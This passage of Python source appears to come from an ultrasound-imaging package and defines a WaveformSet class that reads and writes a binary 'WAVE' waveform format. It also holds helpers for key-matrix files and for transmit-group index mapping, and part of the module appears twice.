self.txgrps.count: raise ValueError('Group index in group map exceeds txgrp count') ngrpmap[ki] = (vi, vg) # Check any local receive-channels for consistence for hdr in self.allheaders(): if ngrpmap.get(hdr.idx, hdr.txgrp) != hdr.txgrp: raise ValueError('Group map does not match receive-channel record at index %d' % hdr.idx) self._groupmap = ngrpmap def element2tx(self, elt, unfold=True): ''' Convert an element index elt into a transmission index. If no transmit-group configuration exists, this is *ALWAYS* the identity map. When a transmit-group configuration exists, self.groupmap is first checked for a transmit index for elt. If the groupmap does not exist or fails to specify the necessary index, the txgrp configuration for a receive-channel record for index elt (if one exists) is used. If unfold is True, the transmission index is a scalar value that directly indexes rows in record arrays. If unfold is False, the transmission index is a pair (locidx, grpnum) that maps to the unfolded index, t, by t = locidx + grpnum * self.txgrps.gsize. ''' elt = strict_nonnegative_int(elt) try: gcount, gsize = self.txgrps except TypeError: return elt try: txgrp = self._groupmap[elt] except KeyError: try: txgrp = self.getheader(elt).txgrp except KeyError: raise KeyError('Could not find map record for receive channel %d' % elt) try: idx, grp = txgrp except (TypeError, ValueError) as e: raise ValueError('Unable to unpack invalid txgrp for channel %d' % elt) return (grp * gsize + idx) if unfold else (idx, grp) def tx2row(self, tid): ''' Convert a transmit-channel index into a waveform-array row index. ''' # Ensure that the argument is properly bounded tid = strict_nonnegative_int(tid) txstart = self.txstart try: maxtx = self.txgrps.maxtx except AttributeError: maxtx = None if maxtx is not None: if tid >= maxtx: raise ValueError('Argument tid exceeds self.txgrps.maxtx') # Shift low values to account for wraparound if tid < txstart: tid += maxtx # Shift relative to start tid -= self.txstart # Ensure the bounds are sensible if not 0 <= tid < self.ntx: raise ValueError('Transmit index is not contained in this file') return tid def _get_record_raw(self, rid): ''' Return the raw (header, data) record for a given receive channel rid, with only sanity checks on rid. ''' return self._records[strict_nonnegative_int(rid)] def getheader(self, rid): ''' Return the channel header for receive channel rid. ''' return self._get_record_raw(rid)[0] def getrecord(self, rid, tid=None, window=None, dtype=None, maptids=False): ''' Return a (header, waveforms) record for the receive channel with channel index rid. If window is None and dtype is None, the waveforms data array is a view of the internal copy-on-write memory map. If tid is not None, it should be a scalar integer or an iterable of integers that represent transmit channel indices to pull from the waveform array. When tid is a scalar, a 1-D array is returned to represent the samples for the specified transmission. When tid is an iterable (even of length 1), a 2-D array is returned with transmit indices along the rows (in the order specified by tid) and waveform samples along the columns. When tid is None, self.txidx is assumed. If window is not None, it should be a tuple (start, length) that specifies the first sample and length of the temporal window over which the waveforms are interpreted. Even if window matches the internal window in the header, a copy of the waveform array will be made. If dtype is not None, the output copy of the waveforms in the record will be cast to this datatype. If exactly one of window or dtype is None, the corresponding value from the record will be used. To force a copy without knowing or changing the window and dtype, pass dtype=0. If maptids is True, any indices specified in tid will be converted from an element index to a transmission index using self.element2tx(). ''' # Grab receive record, copy header to avoid corruption hdr, waveforms = self._get_record_raw(rid) if maptids and tid is not None: # Map the transmit indices to element indices try: tid = self.element2tx(tid) except TypeError: tid = [self.element2tx(t) for t in tid] try: tcidx = self.tx2row(tid) singletx = True except TypeError: singletx = False if tid is None: tcidx = list(range(self.ntx)) else: tcidx = [self.tx2row(t) for t in tid] if window is None: if dtype is None: # With no type override, just return a view return hdr, waveforms[tcidx,:] else: # Force a type conversion and copy if dtype == 0: dtype = waveforms.dtype return hdr, waveforms[tcidx,:].astype(dtype, copy=True) # Handle a specific data window from .sigtools import Window window = Window(window) # Handle unspecified data types if dtype is None or dtype == 0: dtype = waveforms.dtype # Create an output array to store the results oshape = (1 if singletx else len(tcidx), window.length) output = np.zeros(oshape, dtype=dtype) try: # Figure out the overlapping sample window # Raises TypeError if overlap() returns None from pycwp.cutil import overlap ostart, istart, wlen = overlap(window, hdr.win) oend, iend = ostart + wlen, istart + wlen # Copy portion of waveforms overlapping the window output[:,ostart:oend] = waveforms[tcidx,istart:iend] except TypeError: pass # For a scalar tid, collapse the 2-D array if singletx: output = output[0] # Override the window in the header copy return hdr.copy(win=window), output def getwaveform(self, rid, tid, *args, cyclic=False, **kwargs): ''' Return, as one or more habis.sigtools.Waveform objects, the waveform(s) recorded at receive-channel index rid from the (scalar or iterable of) transmission(s) tid. If tid is a scalar, a single Waveform object is returned. Otherwise, if tid is an iterable or None (which pulls all transmissions), a list of Waveform objects is returned. The Waveform time reference is the global time reference. In other words, the Waveform is created from the raw record, then shifted by self.f2c. If the shift moves the data window past the end of the window (0, self.nsamp), some of the data will be clipped. To instead cyclically wrap any samples that would be clipped, pass cyclic=True to this method. Extra args and kwargs are passed through to getrecord(). ''' from .sigtools import Waveform # Grab the relevant row of the record hdr, wform = self.getrecord(rid, tid, *args, **kwargs) # Wrap a single desired signal in a Waveform object if np.ndim(wform) == 1: wave = Waveform(self.nsamp, wform, hdr.win.start) wave = wave.shift(self.f2c, cyclic=cyclic) return wave else: warr = [ ] for w in wform: wave = Waveform(self.nsamp, w, hdr.win.start) wave = wave.shift(self.f2c, cyclic=cyclic) warr.append(wave) return warr def delrecord(self, rid): ''' Delete the waveform record for the receive-channel index rid. ''' del self._records[strict_nonnegative_int(rid)] def clearall(self): ''' Delete all waveform records in the set. ''' # Just create a new record dictionary self._records = OrderedDict() def setrecord(self, hdr, waveforms=None, copy=True): ''' Save a waveform record consisting of the provided header and waveform array. If a record for the receive channel specified in the header already exists, it will be overwritten. Otherwise, the record will be created. If the header specifies None for txgrp, but the WaveformSet transmit-group configuration is not None, any groupmap associated with the WaveformSet will be searched for a matching receive-channel index to create a matching txgrp. No other automatic txgrp manipulation is attempted. The waveform array must either be a Numpy ndarray or None. When waveforms takes the special value None, a new, all-zero waveform array is created (regardless of the value of copy). If copy is False, a the record will store a reference to the waveform array if the types are compatible. If copy is True, a local copy of the waveform array, cast to this set's dtype, will always be made. ''' hdr = RxChannelHeader(*hdr) if self.txgrps is not None: # Ensure consistency with the group configuration if hdr.txgrp is None: # Check the group map for a matching record try: txgrp = self.element2tx(hdr.idx, unfold=False) except (KeyError, TypeError): raise ValueError('Record is missing required txgrp configuration') else: hdr = hdr.copy(txgrp=txgrp) elif hdr.txgrp.grp >= self.txgrps.count: raise ValueError('Record group number too large') elif hdr.txgrp.idx >= self.txgrps.size: raise ValueError('Record local index too large') else: # Ensure consistency with the groupmap try: rgrp = self.groupmap[hdr.idx] except (TypeError, KeyError): pass else: if rgrp != hdr.txgrp: raise ValueError('Record txgrp does not match groupmap') elif hdr.txgrp is not None: raise ValueError('Record contains inappropriate txgrp configuration') # Check that the header bounds make sense if hdr.win.end > self.nsamp: raise ValueError('Waveform sample window exceeds acquisition window duration') if waveforms is None: # Create an all-zero waveform array wshape = (self.ntx, hdr.win.length) waveforms = np.zeros(wshape, dtype=self.dtype) else: try: if copy or waveforms.dtype != self.dtype: # Make a copy of the waveform in proper format raise TypeError('Conversion of dtypes required') except (AttributeError, TypeError): waveforms = np.array(waveforms, dtype=self.dtype) # Pad 0-d and 1-d waveforms to 2-d if waveforms.ndim < 2: waveforms = waveforms[[None] * (2 - waveforms.ndim)] # Check the proper shape of the provided array ntx, nsamp = waveforms.shape if ntx != self.ntx: raise ValueError('Waveform array does not match transmission count for set') if nsamp != hdr.win.length: raise ValueError('Waveform array does not match sample count specified in header') # Add or replace the record self._records[hdr.idx] = (hdr, waveforms) def allrecords(self, *args, **kwargs): ''' Return a generator that fetches each record, in channel-index order, using self.getrecord(rid, window, dtype). ''' for rid in sorted(self.rxidx): yield self.getrecord(rid, *args, **kwargs) def allheaders(self): ''' Return a generator that fetches, in channel-index order, only the receive-channel record headers. ''' for rid in sorted(self.rxidx): yield self.getheader(rid)

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import mmap import numpy as np import os import struct from itertools import repeat from collections import OrderedDict from functools import reduce, partial import warnings class ArgparseLoader(object): def __init__(self, loader, *args, **kwargs): if not callable(loader): raise TypeError('Argument "loader" must be callable') self._loader = loader self._args = tuple(args) self._kwargs = kwargs def __call__(self, string): from argparse import ArgumentTypeError try: return self._loader(string, *self._args, **self._kwargs) except Exception as err: message = f'failed to load {string}: {err}' raise ArgumentTypeError(f'failed to load {string}: {err}') class WaveformSetIOWarning(UserWarning): pass class WaveformSetIOError(Exception): pass def strict_int(x): ix = int(x) if ix != x: raise ValueError('Argument must be integer-compatible') return ix def strict_nonnegative_int(x, positive=False): x = strict_int(x) if positive and x <= 0: raise ValueError('Argument must be positive') elif x < 0: raise ValueError('Argument must be nonnegative') return x def renderAndLoadYaml(data, **kwargs): from yaml import safe_load try: from mako.template import Template except ImportError: if kwargs: raise TypeError('Extra keyword arguments ' 'require Mako template engine') return safe_load(data) else: tmpl = Template(text=data, strict_undefined=True) return safe_load(tmpl.render(**kwargs)) def loadmatlist(files, *a, **k): if isinstance(files, str): from glob import glob files = glob(files) forcematch = k.pop('forcematch', False) if forcematch and not files: raise IOError('No matches for glob "files"') return OrderedDict(sorted(kv for f in files for kv in loadkeymat(f, *a, **k).items())) def loadkeymat(f, scalar=None, dtype=None, nkeys=None): kwargs = { } if scalar is not None: kwargs['scalar'] = scalar if dtype is not None: kwargs['dtype'] = dtype try: mapping = loadz_keymat(f, **kwargs) except (ValueError, IOError): if nkeys is not None: kwargs['nkeys'] = nkeys return loadtxt_keymat(f, **kwargs) if nkeys is not None and len(mapping): key = next(iter(mapping.keys())) try: nk = len(key) except TypeError: nk = 1 if nkeys != nk: raise ValueError('Cardinality of keys in mapping does not match nkeys parameter') return mapping def savez_keymat(f, mapping, sortrows=True, compressed=False, comment=None): if comment is not None: exargs = { 'comment': str(comment) } else: exargs = { } keys = sorted(mapping.keys()) if sortrows else list(mapping.keys()) lengths, values = [ ], [ ] for k in keys: v = mapping[k] try: lengths.append(len(v)) values.extend(v) except TypeError: lengths.append(1) values.append(v) lengths = np.array(lengths) values = np.array(values) try: lv = lengths[0] except IndexError: lv = 0 if np.all(lengths == lv): lengths = np.array(lv) if not np.issubdtype(values.dtype, np.number): raise TypeError('Values in mapping must be numeric') keys = np.array(keys) if not np.issubdtype(keys.dtype, np.integer) or keys.ndim > 2: raise TypeError('Keys in mapping consist of one more integers and must have consistent cardinality') savez = np.savez_compressed if compressed else np.savez savez(f, keys=keys, values=values, lengths=lengths, **exargs) def loadz_keymat(*args, **kwargs): scalar = kwargs.pop('scalar', True) dtype = kwargs.pop('dtype', None) try: with np.load(*args, **kwargs) as data: try: files = set(data.keys()) try: files.remove('comment') except KeyError: pass if files != { 'keys', 'values', 'lengths' }: raise ValueError except (AttributeError, ValueError): raise ValueError('Unrecognized data structure in input') keys = data['keys'] values = data['values'] lengths = data['lengths'] except AttributeError: raise ValueError('Invalid file format') if dtype is not None: values = values.astype(dtype) if not np.issubdtype(keys.dtype, np.integer) or not 0 < keys.ndim < 3: raise ValueError('Invalid mapping key structure') if not np.issubdtype(lengths.dtype, np.integer) or lengths.ndim > 1: raise ValueError('Invalid mapping length structure') if not np.issubdtype(values.dtype, np.number) or values.ndim != 1: raise ValueError('Invalid mapping value structure') if lengths.ndim == 1 and len(lengths) != len(keys): raise ValueError('Mapping lengths and keys do not have equal lengths') nvals = np.sum(lengths) if lengths.ndim == 1 else (lengths * len(keys)) if len(values) != nvals: raise ValueError('Mapping values do not have appropriate lengths') if scalar: if lengths.ndim == 0: scalar = lengths == 1 else: scalar = (lengths.shape[0] > 0 and all(lv == 1 for lv in lengths)) try: keys = keys.squeeze(axis=1) except ValueError: pass if keys.ndim == 2: keys = [ tuple(k.tolist()) for k in keys ] else: keys = [ k.tolist() for k in keys ] mapping = OrderedDict() start = 0 for key, lv in zip(keys, lengths if lengths.ndim == 1 else repeat(lengths)): mapping[key] = values[start] if scalar else values[start:start+lv] start += lv return mapping def loadtxt_keymat(*args, **kwargs): nkeys = strict_nonnegative_int(kwargs.pop('nkeys', 1), positive=True) scalar = kwargs.pop('scalar', True) kwargs['ndmin'] = 2 mat = np.loadtxt(*args, **kwargs) _, ncol = mat.shape if nkeys >= ncol: raise ValueError('Number of key columns must be less than number of columns in matrix') def kvmaker(g): k = tuple(strict_int(gv) for gv in g[:nkeys]) v = g[nkeys:] if len(k) < 2: k = k[0] if scalar and len(v) < 2: v = v[0] return k, v return OrderedDict(kvmaker(g) for g in mat) def savetxt_keymat(*args, **kwargs): if len(args) > 1: x = args[1] else: x = kwargs.pop('X') sortrows = kwargs.pop('sortrows', True) def aslist(x): try: return list(x) except TypeError: return list([x]) rows = iter(x.items()) if not sortrows else sorted(x.items()) mat = [ aslist(k) + aslist(v) for k, v in rows ] if len(args) > 1: args = tuple(a if i != 1 else mat for i, a in enumerate(args)) else: kwargs['X'] = mat np.savetxt(*args, **kwargs) def findenumfiles(dir, prefix='.*?', suffix='', ngroups=1): from os.path import join from re import compile as recomp if ngroups < 1: raise ValueError('At least one number group must be specified') numstr = '-([0-9]+)' * ngroups grpidx = tuple(range(ngroups + 1)) regexp = recomp(r'^%s%s%s$' % (prefix, numstr, suffix)) return [tuple([join(dir, f)] + [int(g) for g in m.group(*grpidx)[1:]]) for f in os.listdir(dir) for m in [regexp.match(f)] if m] def specreptype(): return np.dtype([('val', np.complex64), ('idx', np.int64)]) def splitspecreps(a): start = 0 output = [] while start < len(a): nvals = a[start]['idx'] + 1 if nvals < 1: raise ValueError('Spectral representation counts must be positive') grp = a[start:start+nvals] if len(grp) < nvals: raise ValueError('Could not read specified number of records') output.append(a[start:start+nvals]) start += nvals return output def countspecreps(f): dtype = specreptype() infile = open(f, 'rb') infile.seek(0, os.SEEK_END) fend = infile.tell() infile.seek(0, os.SEEK_SET) n = [] while (infile.tell() < fend): nrec = np.fromfile(infile, dtype=dtype, count=1)[0]['idx'] n.append(nrec + 1) infile.seek(nrec * dtype.itemsize, os.SEEK_CUR) return n def repreducer(n): def reducefunc(mat): return mat[mat[:,1].astype(int) == n] return reducefunc def readfirecapture(f, reducer=None): from pandas import read_csv data = read_csv(f, skiprows=4, header=None).values try: data = reducer(data) except TypeError: pass idx = sorted((d[0], d[1], i) for i, d in enumerate(data[:,:2])) data = data[[v[-1] for v in idx]] def counter(x, y): try: x[0][y[0]] += 1 except KeyError: x[0][y[0]] = 1 try: x[1][y[1]] += 1 except KeyError: x[1][y[1]] = 1 return x channels, repetitions = reduce(counter, idx, ({}, {})) if len(set(channels.values())) != 1: raise ValueError('All channels must have the same number of reptitions') if len(set(repetitions.values())) != 1: raise ValueError('Each channel must have same set of reptition indices') channels = sorted(channels.keys()) repetitions = sorted(repetitions.keys()) nchan = len(channels) nreps = len(repetitions) nsamps = data.shape[-1] - 2 return data[:,2:].reshape((nchan, nreps, nsamps)), channels, repetitions def readfiresequence(fmt, findx, reducer=None): data = [readfirecapture(fmt.format(f), reducer=reducer)[0][np.newaxis,:,:,:] for f in findx] return np.concatenate(data, axis=0) class TxGroupIndex(tuple): def __new__(cls, lidx, gidx): lidx = strict_nonnegative_int(lidx) gidx = strict_nonnegative_int(gidx) return tuple.__new__(cls, (lidx, gidx)) @property def idx(self): return self[0] @property def grp(self): return self[1] def signForTx(self, transmission, group): if group != self.grp: return 0 # Count number of common bits in transmission and idx txcom = strict_nonnegative_int(transmission) & self.idx count = 0 while txcom: txcom &= txcom - 1 count += 1 # Sign is +1 for even number of common bits return 1 - 2 * (count % 2) class TxGroupConfiguration(tuple): def __new__(cls, count, size): count = strict_nonnegative_int(count) size = strict_nonnegative_int(size) return tuple.__new__(cls, (count, size)) @property def count(self): return self[0] @property def size(self): return self[1] @property def maxtx(self): return self[0] * self[1] class RxChannelHeader(tuple): def __new__(cls, idx, pos, win, txgrp=None): from .sigtools import Window idx = strict_nonnegative_int(idx) px, py, pz = pos pos = tuple(float(p) for p in (px, py, pz)) # Force the window start to be nonnegative win = Window(win, nonneg=True) if txgrp is not None: txgrp = TxGroupIndex(*txgrp) return tuple.__new__(cls, (idx, pos, win, txgrp)) @property def idx(self): return self[0] @property def pos(self): return self[1] @property def win(self): return self[2] @property def txgrp(self): return self[3] def copy(self, **kwargs): keys = ['idx', 'pos', 'win', 'txgrp'] props = dict((key, kwargs.pop(key, getattr(self, key))) for key in keys) if len(kwargs): raise TypeError("Unrecognized keyword '%s'" % (next(iter(kwargs.keys())),)) return type(self)(**props) class WaveformSet(object): # A bidirectional mapping between typecodes and Numpy dtype names from pycwp.util import bidict typecodes = bidict({b'I2': 'int16', b'I4': 'int32', b'I8': 'int64', b'F2': 'float16', b'F4': 'float32', b'F8': 'float64', b'C4': 'complex64', b'C8': 'complex128'}) @staticmethod def _get_open(f=None, compression=None): import bz2, gzip openers = { 'bz2': bz2.open, 'gzip': gzip.open, '': open } if not f: compression = (compression or '').strip().lower() errmsg = 'Value of compression must be None, "gzip" or "bz2"' else: try: import magic except ImportError: mime = '' else: mime = magic.Magic(mime=True).from_file(f).lower() compression = { 'application/x-gzip': 'gzip', 'application/x-bzip2': 'bz2' }.get(mime, '') errmsg = 'Unable to determine file compression scheme' try: return (openers[compression], compression != '') except KeyError: raise ValueError(errmsg) @classmethod def fromwaveform(cls, wave, copy=False, hdr=None, rid=0, tid=0, f2c=0): # Create the set wset = cls(1, tid, wave.nsamp, f2c, wave.dtype) if hdr is None: # Create a default header hdr = RxChannelHeader(rid, [0.]*3, wave.datawin) else: # Ensure hdr is RxChannelHeader, then set datawin hdr = RxChannelHeader(*hdr).copy(win=wave.datawin) wset.setrecord(hdr, wave.getsignal(wave.datawin), copy) return wset @classmethod def empty_like(cls, wset, with_context=True): nwset = cls(wset.ntx, wset.txstart, wset.nsamp, wset.f2c, wset.dtype, wset.txgrps) if with_context: nwset.context = wset.context.copy() else: nwset.context = { } return nwset def __init__(self, ntx=0, txstart=0, nsamp=4096, f2c=0, dtype=np.dtype('int16'), txgrps=None): # Record the waveform dtype self._dtype = np.dtype(dtype) # Prepopulate properties that will be validated later self._f2c = 0 self._nsamp = 0 self._ntx = 0 self._txstart = 0 self._txgrps = None # Create an empty, ordered record dictionary # Needed for validation of other properties self._records = OrderedDict() # Create an empty group map self._groupmap = { } # Assign validated properties self.nsamp = nsamp self.f2c = f2c # Build and validate the transmit-channel mapping self.ntx = ntx self.txstart = txstart # Initialize the group configuration as specified self.txgrps = txgrps # Extra scan context can be read from a file header and is # passed on when writing compatible versions, but is never # inherently interpreted self.context = { } @classmethod def _verify_file_version(cls, version, write=False): try: major, minor = version major = strict_nonnegative_int(major) minor = strict_nonnegative_int(minor) except (TypeError, ValueError): raise ValueError('Version format is not recognized') if major != 1: raise ValueError('Unsupported major version') if not write: # Support all currently defined formats for reading if not (0 <= minor < 7): raise ValueError('Unsupported minor version for reading') return (major, minor) # Only version-6 writes are supported if minor != 6: raise ValueError('Unsupported minor version for writing') return major, minor def store(self, f, append=False, ver=(1,6), compression=None): # Open the file if it is not open if isinstance(f, str): opener, compressed = self._get_open(None, compression) if compressed and append: raise ValueError('Append mode with compression is not supported') f = opener(f, ('ab' if append else 'wb')) # Verify that the output version is supported major, minor = self._verify_file_version(ver, write=True) # A missing transmit-group configuration takes the special value (0,0) try: gcount, gsize = self.txgrps except (TypeError, ValueError): gcount, gsize = 0, 0 if not append: # Encode the magic number and file version hbytes = struct.pack('<4s2I', b'WAVE', major, minor) # Encode temperature values temps = self.context.get('temps', [float('nan')]*2) hbytes += np.asarray(temps, dtype=np.float32).tobytes() # Encode the datatype typecode = self.typecodes.inverse[np.dtype(self.dtype).name][0] hbytes += struct.pack('<2s', typecode) # Encode transmission parameters hbytes += struct.pack('<4I2HI', self.f2c, self.nsamp, self.nrx, self.ntx, gcount, gsize, self.txstart) try: # Make sure TGC is a 1-D array tgc = np.asarray(self.context['tgc'], dtype=np.float32).squeeze() except KeyError: # Header contains no TGC records hbytes += struct.pack('<I', 0) else: if tgc.ndim != 1: raise ValueError('TGC must be a 1-D array of floats') hbytes += struct.pack('<I') hbytes += tgc.tobytes() f.write(hbytes) # Write each record in turn for idx in sorted(self.rxidx): hdr, waveforms = self._get_record_raw(idx) if idx != hdr.idx: raise ValueError('Record index does not match receive-channel index') px, py, pz = hdr.pos ws, wl = hdr.win # Without a transmit-group configuration, use (0,0) try: li, gi = hdr.txgrp except (TypeError, ValueError): li, gi = 0, 0 # Enclode the receive-channel header hbytes = struct.pack('<3I3f2I', idx, li, gi, px, py, pz, ws, wl) f.write(hbytes) # Encode the waveform data wbytes = waveforms.tobytes() f.write(wbytes) f.flush() @staticmethod def _funpack(f, fmt): try: sz = struct.calcsize(fmt) return struct.unpack(fmt, f.read(sz)) except Exception as err: raise WaveformSetIOError(f'Failure to unpack bytes: {err}') @staticmethod def _npunpack(f, dtype, count): if count < 0: raise ValueError(f'Cannot read {count} bytes into Numpy array') elif count < 1: return np.array([], dtype=dtype) dtype = np.dtype(dtype) try: rbytes = f.read(dtype.itemsize * count) return np.frombuffer(rbytes, dtype, count) except Exception as err: raise WaveformSetIOError(f'Failure to read array: {err}') @classmethod def load(cls, f, force_dtype=None, allow_duplicates=False, skip_zero_length=True, warn_on_error=True, header_only=False, stream_mode=False): # Open the file if it is not open if isinstance(f, str): opener, compressed = cls._get_open(f) f = opener(f, mode='rb') # Force stream mode for compressed input if compressed: stream_mode = True # Convenience: attach the file to funpack and npunpack funpack = partial(cls._funpack, f) npunpack = partial(cls._npunpack, f) # Read the magic number and file version try: magic, major, minor = funpack('<4s2I') if magic != b'WAVE': raise WaveformSetIOError except WaveformSetIOError: raise WaveformSetIOError('Unable to identify WAVE header') try: major, minor = cls._verify_file_version((major, minor)) except ValueError as err: raise WaveformSetIOError(f'Unsupported WAVE format: {err}') # Create some empty context context = { } if minor > 4: # Read temperature context try: context['temps'] = npunpack('float32', 2) except WaveformSetIOError as err: raise WaveformSetIOError(f'Invalid temperature: {err}') # Read the type code for this file try: typecode = funpack('<2s')[0] dtype = np.dtype(cls.typecodes[typecode]) except (WaveformSetIOError, KeyError) as err: raise WaveformSetIOError(f'Invalid typecode: {err}') if force_dtype is not None: # Force a dtype conversion, if necessary force_dtype = np.dtype(force_dtype) if force_dtype == dtype: force_dtype = None # Parse common transmission parameters f2c, nsamp, nrx, ntx = funpack('<4I') # By default, start the transmission indexing at 0 txstart = 0 # Clear any group configuration for now txgrps = None if minor > 1: # Read the group configuration count, size = funpack('<2H') # Make sure both values are sensible integers count = strict_nonnegative_int(count) size = strict_nonnegative_int(size) # Only configure transmit groups if the count is positive if count > 0: # Default group size, if unspecified, is 10240 / count if size == 0: size = 10240 // count if size * count != 10240: msg = f'Unable to infer size for {count} groups' raise WaveformIOError(msg) txgrps = count, size # For version (1,4) and above, read an explicit txstart if minor >= 4: txstart = funpack('<I')[0] # Minor versions below 6 used fixed 256-value TGC records if minor < 6: rcount = 256 else: rcount = funpack('<I')[0] if rcount: try: tgc = npunpack('float32', rcount) except WaveformSetIOError as err: msg = f'Unable to read {rcount} TGC values: {err}' raise WaveformSetIOError(msg) # For minor versions < 6, don't keep all-zero TGC if minor > 5 or np.count_nonzero(tgc): context['tgc'] = tgc elif minor == 0: try: txidx = npunpack('uint32', ntx) - 1 except WaveformSetIOError: msg = 'Tx list must contain {ntx} values: {err}' raise WaveformSetIOError(msg) wset = cls(ntx=ntx, txstart=txstart, nsamp=nsamp, f2c=f2c, dtype=(force_dtype or dtype), txgrps=txgrps) wset.context = context if header_only: return wset, nrx if not stream_mode: fsrec = f.tell() buf = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_COPY) f.seek(fsrec) idx = -1 # ignore any group spec in the receive-channel headers usegrps = (wset.txgrps is not None) # Keep track of duplicate records, if necessary if not allow_duplicates: encountered = set() # Parse through the specified number of receive records # As a special case, when nrx is zero, read all possible records while nrx == 0 or wset.nrx < nrx: if minor == 2: # Update running index idx += 1 else: # Read a global channel index # Correct 1-based indexing in early versions try: idx = funpack('<I')[0] - int(minor < 2) except WaveformSetIOError: break # Read element position and data window parameters if minor > 1: # Also read transmission group configuration try: i, g, px, py, pz, ws, wl = funpack('<2I3f2I') except WaveformSetIOError: break txgrp = (i, g) if usegrps else None if minor == 2: # Correct an off-by-one window specification bug if wl == nsamp and ws == 1: ws = 0 else: try: px, py, pz, ws, wl = funpack('<3f2I') except WaveformSetIOError: break txgrp = None # Build the channel header hdr = (idx, (px, py, pz), (ws, wl), txgrp) if not allow_duplicates: if idx in encountered: msg = f'Parsing terminated at duplicate record {idx}' warnings.warn(WaveformSetIOWarning(msg)) # Avoid detecting junk after duplicate header if not stream_mode: fsrec = f.tell() break encountered.add(idx) # Determine the shape of the waveform waveshape = (ntx, wl) if not stream_mode: # Return a view into the map fsmap = f.tell() try: wavemap = np.ndarray(waveshape, dtype=dtype, buffer=buf, order='C', offset=fsmap) except TypeError: break # Skip to next header and update next record offset f.seek(fsmap + wavemap.nbytes) fsrec = f.tell() else: # Read into a new array nvals = waveshape[0] * waveshape[1] try: wavemap = npunpack(dtype, nvals).reshape(waveshape, order='C') except WaveformSetIOError: break if not skip_zero_length or wavemap.nbytes != 0: if force_dtype is not None: wmap = wavemap.astype(force_dtype) else: wmap = wavemap # Add the record to the set wset.setrecord(hdr, wmap, copy=False) if not stream_mode and f.tell() != fsrec: warnings.warn(WaveformSetIOWarning('Junk at end of file')) if nrx and wset.nrx != nrx: err = f'Header specifies {nrx} records, but read {wset.nrx}' if warn_on_error: warnings.warn(WaveformSetIOWarning(err)) else: raise WaveformSetIOError(err) return wset @property def rxidx(self): return list(self._records.keys()) @property def txgrps(self): return self._txgrps @txgrps.setter def txgrps(self, grps): if grps == self._txgrps: return if self.nrx > 0: raise ValueError('Cannot change transmit-group configuration with existing records') if grps is None: self._txgrps = None self.groupmap = None return try: grps = TxGroupConfiguration(*grps) except (TypeError, ValueError): raise ValueError('Parameter must be None or (count, size) tuple') if grps.maxtx < self.ntx: raise ValueError('Implied maximum transmission count is less than number of recorded transmissions') if grps.maxtx <= self.txstart: raise ValueError('Implied maximum transmission count is less than starting transmission index') self._txgrps = grps self.groupmap = None @property def txstart(self): return self._txstart @txstart.setter def txstart(self, txstart): if txstart == self._txstart: return txstart = strict_nonnegative_int(txstart) try: maxtx = self.txgrps.maxtx except AttributeError: pass else: if txstart >= maxtx: raise ValueError('Parameter txstart exceeds maxtx of transmit-group configuration') self._txstart = txstart @property def txidx(self): txstart = self.txstart txgrps = self.txgrps try: maxtx = self.txgrps.maxtx except AttributeError: for i in range(txstart, txstart + self.ntx): yield i else: for i in range(txstart, txstart + self.ntx): yield i % maxtx @txidx.setter def txidx(self, txidx): txidx = list(txidx) try: txstart = txidx[0] except IndexError: self.ntx = 0 self.txstart = 0 return try: maxtx = self.txgrps.maxtx except AttributeError: def nextval(x): return (x + 1) else: def nextval(x): return (x + 1) % maxtx last = txstart sequential = True for nv in txidx[1:]: last = nextval(last) if nv != last: sequential = False break def atomic_set(txstart, ntx): # Record the old txstart to ensure atomicity otxstart = self.txstart self.txstart = txstart try: self.ntx = ntx except: # Restore the old txstart before failing self.txstart = otxstart raise if not sequential: if self.txgrps is not None: raise ValueError('Indices must be sequential or wrap when txgrps is defines') # Set txgrp configuration to remap out-of-sequence indices atomic_set(0, len(txidx)) self.txgrps = (self.ntx, 1) self.groupmap = { txi: (0, i) for i, txi in enumerate(txidx) } else: atomic_set(txstart, len(txidx)) @property def ntx(self): return self._ntx @ntx.setter def ntx(self, ntx): # Take no action if the count hasn't changed if ntx == self._ntx: return if self.nrx > 0: raise ValueError('Cannot change number of transmissions with existing records') try: if ntx > self.txgrps.maxtx: raise ValueError('Number of transmissions must not exceed maxtx implied by transmit-group configuration') except AttributeError: pass self._ntx = strict_nonnegative_int(ntx) @property def nrx(self): return len(self._records) @property def dtype(self): return self._dtype @dtype.setter def dtype(self, value): if self._dtype == value: return if self.nrx > 0: raise ValueError('Cannot change datatype with existing records') self._dtype = np.dtype(value) @property def nsamp(self): return self._nsamp @nsamp.setter def nsamp(self, nsamp): if self._nsamp == nsamp: return # Force the new value to be an nonnegative integer nsamp = strict_nonnegative_int(nsamp) # Check all existing records to ensure their windows don't for hdr, wforms in self.allrecords(): start, length = hdr.win if start + length > nsamp: raise ValueError('Acquisition window fails to contain stored waveforms') self._nsamp = nsamp @property def f2c(self): return self._f2c @f2c.setter def f2c(self, val): if self._f2c == val: return self._f2c = strict_nonnegative_int(val) @property def groupmap(self): return dict(self._groupmap) @groupmap.setter def groupmap(self, grpmap): if grpmap is None or len(grpmap) < 1: self._groupmap = { } return if self.txgrps is None: raise ValueError('Cannot set a group map without a txgrps configuration for the WaveformSet') ngrpmap = { } for k, v in grpmap.items(): ki = strict_nonnegative_int(k) vi, vg = [strict_nonnegative_int(vl) for vl in v] if vi >= self.txgrps.size: raise ValueError('Local index in group map exceeds txgrp size') if vg >= self.txgrps.count: raise ValueError('Group index in group map exceeds txgrp count') ngrpmap[ki] = (vi, vg) for hdr in self.allheaders(): if ngrpmap.get(hdr.idx, hdr.txgrp) != hdr.txgrp: raise ValueError('Group map does not match receive-channel record at index %d' % hdr.idx) self._groupmap = ngrpmap def element2tx(self, elt, unfold=True): elt = strict_nonnegative_int(elt) try: gcount, gsize = self.txgrps except TypeError: return elt try: txgrp = self._groupmap[elt] except KeyError: try: txgrp = self.getheader(elt).txgrp except KeyError: raise KeyError('Could not find map record for receive channel %d' % elt) try: idx, grp = txgrp except (TypeError, ValueError) as e: raise ValueError('Unable to unpack invalid txgrp for channel %d' % elt) return (grp * gsize + idx) if unfold else (idx, grp) def tx2row(self, tid): tid = strict_nonnegative_int(tid) txstart = self.txstart try: maxtx = self.txgrps.maxtx except AttributeError: maxtx = None if maxtx is not None: if tid >= maxtx: raise ValueError('Argument tid exceeds self.txgrps.maxtx') if tid < txstart: tid += maxtx tid -= self.txstart if not 0 <= tid < self.ntx: raise ValueError('Transmit index is not contained in this file') return tid def _get_record_raw(self, rid): return self._records[strict_nonnegative_int(rid)] def getheader(self, rid): return self._get_record_raw(rid)[0] def getrecord(self, rid, tid=None, window=None, dtype=None, 